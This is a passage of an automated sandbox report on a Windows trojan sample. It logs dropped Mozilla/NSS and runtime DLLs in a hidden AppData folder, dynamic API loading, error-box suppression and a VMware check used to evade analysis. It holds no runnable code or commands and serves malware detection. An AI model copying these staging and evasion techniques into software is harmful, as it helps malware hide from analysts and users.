Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozMapi32_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\Local\Temp\XObEdOuQjV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleHandler.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_0041AE8D SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_0041AE8D

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\IA2Marshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssckbi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ldif60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\lgpllibs.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozMapi32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\prldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleMarshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
